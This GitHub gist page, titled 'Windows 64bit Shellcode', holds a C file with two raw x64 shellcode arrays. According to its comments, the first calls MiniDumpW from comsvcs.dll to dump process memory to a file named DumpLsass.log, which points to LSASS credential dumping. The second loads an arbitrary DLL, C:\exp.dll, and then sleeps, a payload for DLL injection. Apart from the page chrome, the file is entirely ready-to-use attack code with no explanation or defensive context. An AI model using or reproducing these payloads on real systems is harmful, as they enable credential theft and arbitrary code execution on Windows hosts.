Skip to content

Instantly share code, notes, and snippets.

@aaaddress1

aaaddress1/shellcode64.c

Last active July 6, 2023 09:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save aaaddress1/f1d47a7161e4b8646fb1150030641f76 to your computer and use it in GitHub Desktop.
Save aaaddress1/f1d47a7161e4b8646fb1150030641f76 to your computer and use it in GitHub Desktop.
Download ZIP
Windows 64bit Shellcode
Raw
shellcode64.c
// sprintf(commandLine, L"%i C:\\Windows\\Temp\\DumpLsass.log full", GetCurrentProcessId); MiniDumpW(0, 0, commandLine);
char shellcode_selfDumpToTmp[] = "\xe9\x0c\x02\x00\x00\x90\x48\x89\xc8\x48\x8d\x49\x02\x66\x83\x38\x00\xb8\x00\x00\x00\x00\x74\x28\x0f\x1f\x84\x00\x00\x00\x00\x00\x44\x0f\xb7\x01\x48\x83\xc1\x02\x44\x89\xc2\x83\xca\x20\x0f\xb7\xd2\x01\xd0\xc1\xc8\x08\x66\x45\x85\xc0\x75\xe4\xc3\x0f\x1f\x00\xc3\x48\x89\xc8\x48\x8d\x49\x01\x80\x38\x00\xb8\x00\x00\x00\x00\x74\x26\x66\x0f\x1f\x44\x00\x00\x44\x0f\xb6\x01\x48\x83\xc1\x01\x44\x89\xc2\x83\xca\x20\x0f\xbe\xd2\x01\xd0\xc1\xc8\x08\x45\x84\xc0\x75\xe5\xc3\x0f\x1f\x40\x00\xc3\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x4c\x8b\x48\x20\x4c\x8d\x58\x20\x4d\x39\xcb\x74\x34\x48\x83\xec\x28\x41\x89\xca\xeb\x0c\x0f\x1f\x40\x00\x4d\x8b\x09\x4d\x39\xcb\x74\x18\x49\x8b\x49\x50\xe8\x55\xff\xff\xff\x44\x39\xd0\x75\xea\x49\x8b\x41\x20\x48\x83\xc4\x28\xc3\x90\x31\xc0\x48\x83\xc4\x28\xc3\x31\xc0\xc3\x57\x56\x53\x48\x83\xec\x20\x48\x63\x41\x3c\x8b\xb4\x01\x88\x00\x00\x00\x85\xf6\x74\x3a\x48\x01\xce\x49\x89\xca\x8b\x5e\x18\x85\xdb\x74\x2d\x8b\x46\x20\x41\x89\xd3\x45\x31\xc9\x48\x8d\x3c\x01\x66\x0f\x1f\x44\x00\x00\x42\x8b\x0c\x8f\x4c\x01\xd1\xe8\x35\xff\xff\xff\x44\x39\xd8\x74\x17\x49\x83\xc1\x01\x4c\x39\xcb\x75\xe6\x48\x83\xc4\x20\x31\xc0\x5b\x5e\x5f\xc3\x0f\x1f\x40\x00\x8b\x46\x24\x4b\x8d\x14\x4a\x0f\xb7\x14\x02\x8b\x46\x1c\x49\x8d\x14\x92\x8b\x04\x02\x48\x83\xc4\x20\x5b\x5e\x4c\x01\xd0\x5f\xc3\x49\x89\xc8\x49\x89\xd1\x0f\xb6\x09\x0f\xb6\x12\x38\xd1\x75\x30\xb8\x01\x00\x00\x00\xeb\x18\x90\x84\xd2\x74\x28\x41\x0f\xb6\x0c\x00\x48\x83\xc0\x01\x41\x0f\xb6\x54\x01\xff\x38\xd1\x75\x11\x84\xc9\x75\xe5\x31\xc0\x84\xd2\x0f\x95\xc0\xf7\xd8\xc3\x0f\x1f\x00\x84\xc9\x74\xef\xb8\xff\xff\xff\xff\xc3\x55\x57\x56\x53\x48\x83\xec\x28\x48\x63\x41\x3c\x8b\xbc\x01\x88\x00\x00\x00\x85\xff\x74\x3c\x48\x01\xcf\x49\x89\xcb\x8b\x77\x18\x85\xf6\x74\x2f\x8b\x47\x20\x48\x89\xd3\x45\x31\xd2\x48\x8d\x2c\x01\x0f\x1f\x44\x00\x00\x42\x8b\x54\x95\x00\x48\x89\xd9\x4c\x01\xda\xe8\x70\xff\xff\xff\x85\xc0\x74\x14\x49\x83\xc2\x01\x4c\x39\xd6\x75\xe3\x48\x83\xc4\x28\x31\xc0\x5b\x5e\x5f\x5d\xc3\x8b\x47\x24\x4b\x8d\x14\x53\x0f\xb7\x14\x02\x8b\x47\x1c\x49\x8d\x14\x93\x8b\x04\x02\x48\x83\xc4\x28\x5b\x5e\x4c\x01\xd8\x5f\x5d\xc3\x41\x55\x31\xc0\xb9\x3f\x00\x00\x00\x48\xba\x3a\x00\x5c\x00\x57\x00\x69\x00\x41\x54\x55\x57\x56\x53\x48\x81\xec\xe8\x02\x00\x00\x48\x8d\xbc\x24\xe0\x00\x00\x00\x48\x89\x94\x24\x88\x00\x00\x00\x48\xba\x73\x00\x5c\x00\x54\x00\x65\x00\xf3\x48\xab\x48\xb8\x25\x00\x69\x00\x20\x00\x43\x00\x48\x89\x94\x24\x98\x00\x00\x00\x48\xba\x75\x00\x6d\x00\x70\x00\x4c\x00\x48\x89\x84\x24\x80\x00\x00\x00\x48\xb8\x6e\x00\x64\x00\x6f\x00\x77\x00\x48\x8d\x4c\x24\x53\x48\x89\x84\x24\x90\x00\x00\x00\x48\xb8\x6d\x00\x70\x00\x5c\x00\x44\x00\x48\x89\x84\x24\xa0\x00\x00\x00\x48\xb8\x73\x00\x61\x00\x73\x00\x73\x00\x48\x89\x84\x24\xb0\x00\x00\x00\x48\xb8\x20\x00\x66\x00\x75\x00\x6c\x00\x48\x89\x94\x24\xa8\x00\x00\x00\x48\xba\x2e\x00\x6c\x00\x6f\x00\x67\x00\x48\x89\x84\x24\xc0\x00\x00\x00\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x48\xc7\x84\x24\xd0\x00\x00\x00\x00\x00\x00\x00\x48\xc7\x84\x24\xd8\x00\x00\x00\x00\x00\x00\x00\x48\x89\x94\x24\xb8\x00\x00\x00\xc7\x84\x24\xc8\x00\x00\x00\x6c\x00\x00\x00\x48\x89\x44\x24\x53\xc7\x44\x24\x5b\x61\x72\x79\x41\xc6\x44\x24\x5f\x00\xe8\x24\xfd\xff\xff\x89\xc6\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x58\x20\x48\x8d\x78\x20\x48\x39\xdf\x75\x0f\xeb\x25\x0f\x1f\x44\x00\x00\x48\x8b\x1b\x48\x39\xdf\x74\x18\x48\x8b\x4b\x20\x89\xf2\xe8\x77\xfd\xff\xff\x48\x85\xc0\x74\xe8\x48\x89\xc6\xeb\x05\x0f\x1f\x00\x31\xf6\x48\xb8\x47\x65\x74\x43\x75\x72\x72\x65\x48\x8d\x4c\x24\x60\x48\xba\x6e\x74\x50\x72\x6f\x63\x65\x73\xc7\x44\x24\x70\x73\x49\x64\x00\x48\x89\x44\x24\x60\x48\x89\x54\x24\x68\xe8\xaf\xfc\xff\xff\x89\xc7\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x58\x20\x48\x8d\x68\x20\x48\x39\xdd\x75\x0a\xeb\x20\x48\x8b\x1b\x48\x39\xdd\x74\x18\x48\x8b\x4b\x20\x89\xfa\xe8\x07\xfd\xff\xff\x48\x85\xc0\x74\xe8\x48\x89\xc3\xeb\x05\x0f\x1f\x00\x31\xdb\x48\xb8\x63\x6f\x6d\x73\x76\x63\x73\x2e\x48\x8d\x4c\x24\x47\xc7\x44\x24\x4f\x64\x6c\x6c\x00\x48\x89\x44\x24\x47\xff\xd6\x48\x8d\x4c\x24\x3c\xc6\x44\x24\x46\x00\x49\x89\xc5\x48\xb8\x6d\x73\x76\x63\x72\x74\x2e\x64\x48\x89\x44\x24\x3c\xb8\x6c\x6c\x00\x00\x66\x89\x44\x24\x44\xff\xd6\xba\x57\x00\x00\x00\x48\x8d\x4c\x24\x32\x49\x89\xc4\x66\x89\x54\x24\x3a\x48\xb8\x4d\x69\x6e\x69\x44\x75\x6d\x70\x48\x89\x44\x24\x32\xe8\x03\xfc\xff\xff\x4c\x89\xe9\x89\xc2\xe8\x82\xfc\xff\xff\x48\x8d\x54\x24\x29\x4c\x89\xe1\xc6\x44\x24\x31\x00\x48\x89\xc6\x48\xb8\x73\x77\x70\x72\x69\x6e\x74\x66\x48\x89\x44\x24\x29\xe8\x26\xfd\xff\xff\x48\x89\xc7\xff\xd3\x48\x8d\x9c\x24\xd0\x00\x00\x00\x48\x8d\x94\x24\x80\x00\x00\x00\x48\x89\xd9\x41\x89\xc0\xff\xd7\x49\x89\xd8\x31\xd2\x31\xc9\xff\xd6\x48\x81\xc4\xe8\x02\x00\x00\x5b\x5e\x5f\x5d\x41\x5c\x41\x5d\xc3"
// LoadLibraryA("C:\\exp.dll"); Sleep(-1);
char sheellcode_loadDll[] = "\xe9\x43\x01\x00\x00\x90\x48\x89\xc8\x48\x8d\x49\x02\x66\x83\x38\x00\xb8\x00\x00\x00\x00\x74\x28\x0f\x1f\x84\x00\x00\x00\x00\x00\x44\x0f\xb7\x01\x48\x83\xc1\x02\x44\x89\xc2\x83\xca\x20\x0f\xb7\xd2\x01\xd0\xc1\xc8\x08\x66\x45\x85\xc0\x75\xe4\xc3\x0f\x1f\x00\xc3\x48\x89\xc8\x48\x8d\x49\x01\x80\x38\x00\xb8\x00\x00\x00\x00\x74\x26\x66\x0f\x1f\x44\x00\x00\x44\x0f\xb6\x01\x48\x83\xc1\x01\x44\x89\xc2\x83\xca\x20\x0f\xbe\xd2\x01\xd0\xc1\xc8\x08\x45\x84\xc0\x75\xe5\xc3\x0f\x1f\x40\x00\xc3\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x4c\x8b\x48\x20\x4c\x8d\x58\x20\x4d\x39\xcb\x74\x34\x48\x83\xec\x28\x41\x89\xca\xeb\x0c\x0f\x1f\x40\x00\x4d\x8b\x09\x4d\x39\xcb\x74\x18\x49\x8b\x49\x50\xe8\x55\xff\xff\xff\x44\x39\xd0\x75\xea\x49\x8b\x41\x20\x48\x83\xc4\x28\xc3\x90\x31\xc0\x48\x83\xc4\x28\xc3\x31\xc0\xc3\x57\x56\x53\x48\x83\xec\x20\x48\x63\x41\x3c\x8b\xb4\x01\x88\x00\x00\x00\x85\xf6\x74\x3a\x48\x01\xce\x49\x89\xca\x8b\x5e\x18\x85\xdb\x74\x2d\x8b\x46\x20\x41\x89\xd3\x45\x31\xc9\x48\x8d\x3c\x01\x66\x0f\x1f\x44\x00\x00\x42\x8b\x0c\x8f\x4c\x01\xd1\xe8\x35\xff\xff\xff\x44\x39\xd8\x74\x17\x49\x83\xc1\x01\x4c\x39\xcb\x75\xe6\x48\x83\xc4\x20\x31\xc0\x5b\x5e\x5f\xc3\x0f\x1f\x40\x00\x8b\x46\x24\x4b\x8d\x14\x4a\x0f\xb7\x14\x02\x8b\x46\x1c\x49\x8d\x14\x92\x8b\x04\x02\x48\x83\xc4\x20\x5b\x5e\x4c\x01\xd0\x5f\xc3\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x57\x56\x53\x48\x83\xec\x40\x48\x8d\x4c\x24\x33\x48\x89\x44\x24\x33\xc7\x44\x24\x3b\x61\x72\x79\x41\xc6\x44\x24\x3f\x00\xe8\xcc\xfe\xff\xff\x89\xc6\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x58\x20\x48\x8d\x78\x20\x48\x39\xdf\x75\x17\xe9\xb1\x00\x00\x00\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x48\x8b\x1b\x48\x39\xdf\x74\x10\x48\x8b\x4b\x20\x89\xf2\xe8\x17\xff\xff\xff\x48\x85\xc0\x74\xe8\x48\xba\x43\x3a\x5c\x65\x78\x70\x2e\x64\x48\x8d\x4c\x24\x28\xc6\x44\x24\x32\x00\x48\x89\x54\x24\x28\xba\x6c\x6c\x00\x00\x66\x89\x54\x24\x30\xff\xd0\xb9\x70\x00\x00\x00\xc7\x44\x24\x22\x53\x6c\x65\x65\x66\x89\x4c\x24\x26\x48\x8d\x4c\x24\x22\xe8\x48\xfe\xff\xff\x89\xc6\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x58\x20\x48\x8d\x78\x20\x48\x39\xdf\x75\x13\xeb\x37\x66\x0f\x1f\x84\x00\x00\x00\x00\x00\x48\x8b\x1b\x48\x39\xdf\x74\x10\x48\x8b\x4b\x20\x89\xf2\xe8\x97\xfe\xff\xff\x48\x85\xc0\x74\xe8\xb9\xff\xff\xff\xff\xff\xd0\x48\x83\xc4\x40\x5b\x5e\x5f\xc3\x31\xc0\xe9\x6a\xff\xff\xff\x31\xc0\xeb\xe6\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment